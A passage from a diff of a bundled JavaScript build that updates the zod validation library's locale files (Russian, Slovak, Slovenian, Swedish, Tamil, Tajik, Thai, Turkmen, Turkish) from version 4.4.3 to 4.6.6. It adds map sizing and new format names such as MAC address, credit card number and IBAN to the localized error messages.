valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63582,11 +65742,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63602,7 +65762,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63635,6 +65795,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63661,12 +65829,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63739,17 +65911,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63775,12 +66065,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63849,17 +66143,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63883,14 +66178,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63960,17 +66259,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63996,12 +66296,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64071,17 +66375,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64107,12 +66529,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64182,17 +66608,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64218,12 +66753,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: 